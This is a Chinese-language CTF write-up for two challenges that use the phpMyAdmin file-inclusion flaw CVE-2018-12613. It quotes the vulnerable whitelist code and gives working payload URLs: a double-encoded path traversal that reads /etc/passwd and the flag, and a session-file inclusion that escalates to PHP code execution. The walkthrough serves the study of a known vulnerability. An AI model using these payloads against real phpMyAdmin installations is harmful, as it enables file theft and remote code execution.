#两道题用的都是]CVE-2018-12613这一个洞,所以就给写一起了。
1.审下源码吧
问题在index.php的55~63:
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
2.这里对于参数共有5个判断,判断通过就可以通过Include包含文件。
问题出在后两个上
$target_blacklist = array (
'import.php', 'export.php'
);
3.以及
Core::checkPageValidity($_REQUEST[‘target’]):
代码在libraries\classes\Core.php的443~476:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
这跟上面的代码几乎是一个模子里刻出来的
4.之后phpMyAdmin的开发团队考虑到了target后面加参数的情况,通过字符串分割将问号的前面部分取出,继续匹配白名单,然后经过一遍urldecode后再重复动作。
payload如下
http://5cb93fd8-62f3-49f9-a5e9-d10f17c053b4.node3.buuoj.cn/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd
我们将后面换成/flag
即可查看位于根目录下的flag
#下面再说一下real题里面的这个洞
1.前面的过程都一样,一直到执行payload都是,只不过读取flag的方式不同,real类一般将flag放在php探针或者环境变量里面
2.
之后执行
SELECT '<?php phpinfo()?>';
然后我们去触发这个探针就可以
3.执行命令的时候,我们的session会出现
然后访问
index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_44e2714bd7e701d92083eddfcd02e0d4
搜索flag即可